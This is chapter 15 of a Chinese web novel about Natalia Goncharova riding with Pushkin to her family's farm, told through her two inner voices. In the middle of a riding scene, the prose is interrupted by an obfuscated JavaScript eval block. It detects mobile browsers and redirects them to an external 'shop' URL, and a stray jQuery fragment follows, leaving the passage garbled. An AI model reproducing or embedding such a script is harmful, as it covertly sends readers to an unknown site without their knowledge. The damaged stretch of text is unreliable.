15. ·015·
作品:《叛逃的缪斯》 普希金手里的茶花晃了一下。
“约……会?”
他把这个词嚼了三遍,惊喜和困惑在脸上殊死相博,谁也没赢。
“对。但你得等我一下。”
娜塔莉娅没给他追问的余地,转身就跑。裙摆扫过门廊,脚步声咚咚地往楼上去了。
普希金举着茶花站在原地。
他今天是来正式拜访的,准备了一肚子得体的措辞,甚至对着镜子练了半小时微笑……但一个字都没用上。
娜塔莉娅冲上二楼,直奔目标。
弟弟谢尔格的房门虚掩着。她推门进去的瞬间,一个十来岁的男孩正蹲在床底下,只露出两只脚。
“谢尔格。”
脚猛地缩了回去。
“我不穿裙子!”从床底闷闷地传出来,“上次茶话会你们给我画了腮红,保姆笑了我三天——”
“是我,娜塔莉娅。”
短暂的沉默过后,一颗脑袋从床底探出来。小男孩警惕地辨认了来人,整个人才松了口气爬出来。
“姐姐。”谢尔格拍了拍膝盖上的灰,“你找我什么事?”
“你有没有我能穿的男装?”
谢尔格上下打量了一眼自己的姐姐。
他才刚过十岁,个头还没到她肩膀。
“我的你塞不进去。”他摇头,然后眨了眨眼,“不过二哥伊万送了我几套,但我还没长到那么高。你自己去挑?”
“谢了。”
娜塔莉娅拉开隔壁房间的衣柜,快速扫了一遍。
脑子里另一个声音适时响起。
——你到底为什么非穿男装?
——为了更方便行动。
——就这?
——……好吧,也许有一点点想念裤子。
——一点点?
——你能不能别在关键时刻搞审讯,娜塔。
她挑了一套深灰色的骑装外套,配深色长裤和短靴。
颜色低调,但剪裁考究,领口和袖口有暗纹——远看不打眼,近了能认出面料的等级。
不招摇,也不会被人当成仆从。
换装的速度快得连娜塔都没来得及评价,莉娅便把头发盘起来塞进帽子,整个人往镜前一站。
镜中的“少年”身形偏瘦,比例倒是极好,五官精致得有些过分。
凑合,勉强能蒙混过关。
她压了压帽檐,转身下楼。
普希金还杵在大厅里,茶花被他又换了一只手。
他望望大门,又望望楼梯。毕竟正式拜访被开场五秒就打断,立马又被邀请约会,接下来该摆什么姿态,礼仪书上没教过。
楼梯上传来脚步声。
一个穿深灰骑装的少年从拐角走出来。步子不紧不慢,帽檐压得低,只露出下半张脸——下颌线干净利落,弧度有种奇怪的熟悉感。
少年走到他面前,抬起帽檐。
茶花这回真掉了。
“你——”
“你的花。”莉娅弯腰捡起地上的花,塞回他手里,顺势抓住他另一只手,“会骑马吗?”
“什么?”
“骑、马。会,还是不会?”
“我当然会,作为一个贵族男子——”
“废话免了。会就行,走。”
她拽着他往外走。
普希金在被拖行的过程中挣扎着保住了茶花和最后一点体面。
“等等,冈察洛娃小姐,你这?”
“叫我娜塔莉娅吧。穿裙子没法骑马,侧坐可不好跑起来。”
“我的意思不是……你到底要去哪儿?”
“莫斯科郊外,我家有座小农庄,得去巡查。”
她停步,从怀里掏出那枚黄铜印章晃了晃。
“我母亲的授权信物。她说一个未婚贵族女孩没有体面的人陪同就出不了门。”
她看向他。
“所以你现在就是我‘约会’的‘男伴’了。”
普希金嘴角抽了一下。他本以为今天最大的关卡是冈察洛娃夫人。结果门都没进,就被她女儿拐上了另一条路。
但他没有拒绝。
两个人穿过后院花圃,走到马厩前。
莉娅冲里面扬了扬下巴,“进去挑一匹。跟不上我的话,我可不会在莫斯科郊外等你。”
普希金靠在围栏上,扫了一圈里面的马。
“请放心,娜塔莉娅,我在米哈伊洛夫斯克村流放的时候,除了跟村民打交道,就属跟这种畜生混得最久。”
莉娅脸色一变,快步走过去,两手捂住最近那匹栗色母马的耳朵,“别听他的,这是恶评。”
莉娅瞪回来,“请叫它们‘人类的朋友’。真诚点,先生,别一会儿被报复到落马哦。”
普希金笑了。不是他惯常那种带表演性质的笑,是真的被逗乐了。
他随手牵了那匹灰色骟马,检查过马鞍,翻身上去。动作流畅,看得出是骑惯了的。他在马上微微俯身,朝莉娅做了个手势。
“请。”
莉娅牵出被她捂过耳朵的栗马。
——娜塔。
——嗯?
——你肯定会骑马吧?赶紧的。
——……如果我不会呢?
——那我就只能让普希金带我双骑了。
——两个“男人”共骑一匹马?
——怎么了,多节省。
——我现在就上,你让开。
娜塔立马接管身体。左脚踩进马镫,一个干脆的翻身上了马背。
坐稳,收缰,轻夹马腹,一气呵成。
普希金挑了挑眉,吹了一声口哨。
“走。”
娜塔先一步催马出了院子。
两匹马穿过莫斯科的街巷。石板路上蹄声清脆,偶有行人侧身避让,好奇地打量这两个并骑的年轻人。城内不方便放开跑,他们默契地压着速度,交流很少。
出了城门,建筑渐渐稀疏,视野铺展开来。泥路取代石板,空气里是草和土的气息。
——莉娅。
——干嘛?
——该你了。
——我不会骑马。
——你不能总让我帮你做你不擅长的事,你得学会融入这个时代。有我在就不会让你摔,听我指挥。
莉娅还没来得及反驳,身体的控制权已经移交。
□□的颠簸猝然变得真实。缰绳传来的牵引力扯着她的手臂,第一反应是慌——脊背绷直,大腿本能地夹紧。
栗马感受到骑手的紧张,打了个响鼻,步子乱了一拍。
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397194|200131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放松。肩膀沉下来,腰跟马的节奏走,别跟它较劲。
——你说得容易!
——屁股别坐死了,微微悬空,大腿卡住。对,就这样。
奇怪的事情发生了。
随着娜塔的指令一条一条地铺开,莉娅的身体立马就跟着调整——先是笨拙的,然后越来越协调。
那种感觉很难描述,好比数据从U盘拷进电脑,不是“学会”的,倒像是被“写入”的。
风灌进衣领。马蹄踏过松软的泥地,带起细碎的土雾。速度从小跑变成慢跑,再到真正的奔跑。
自由。
这个词从骨头缝里钻出来,精准地击中了某个她以为早已麻木的角落。
裤腿贴着马腹,风把帽檐掀得翻起来,地平线在视野里铺成一条笔直的线——没有裙撑,没有束腰,没有人告诉她不许奔跑。
少女不由自主地放慢了速度。
普希金拨转马头,回到她身边,和她并行。
“怎么突然不跑了?”
她侧头看他,“想享受一下这一刻。”
普希金没接话,但他的视线在她脸上多停了两秒。
今天的娜塔莉娅和他此前见到的不一样:不是舞会上那个沉静自持的少女,甚至不是刚才在城里骑马时那个干脆利落的人。
此刻的她身上有种说不清的东西,鲜活的,轻快的,让人挪不开注意力。
“娜塔莉娅。”普希金改口很快,“你想象中的‘约会’,就是拉着一个刚认识的男人骑马去郊外巡查农庄?”
“怎么?你更想在花园里散步,吃糕点,聊天气?”
“那种确实没什么意思。”
“所以?”
“我有个问题。”他催马靠近了一步,“为什么是我?”
莉娅没有立刻回答。
她低下头,看了看自己握着缰绳的手指,然后猛地一夹马腹。
栗马撒开四蹄冲了出去,泥点飞溅,一瞬间就甩开了好几个身位。普希金猝不及防,灰马被惊得原地转了半圈。
前面那个人放缓了一点速度,回过头来。风把帽子掀翻,黑色的长发从帽中倾泻而下,在风里翻卷成一面旗。
逆着温暖的光线,她的五官模糊了,但那个笑容他看得清清楚楚。
“我想奔向自由。”
普希金下意识抓住她的帽子,心跳漏了一拍。
他收紧缰绳催马追上去。距离在缩短,前方的人没有再回头。风把她的笑和那几个字一起送过来。
普希金不禁回想起他这跌宕的半生:他被流放过、被审查过、被整个帝国的权力机器碾压过,他自认见过足够多的面孔。
但没有一个人在说出“自由”的时候,让他有这种感觉——
她不是在说一个词。
她在说一个她真正抵达过的地方。
那是一个让人忍不住想跟上前去、与她同行,甚至不惧旅途上的一切艰难,能一同承载梦想、鲜花和渴望的神圣之地。
无论哪一面的她,都那么独特且与众不同。
栗马扬起的尘土落在他脸上,灰色骟马嘶鸣一声,四蹄猛然发力。两匹马一前一后,冲向莫斯科郊外那条看不见尽头的路。
而目的地的方向,正是那座冈察洛夫家的小农庄。

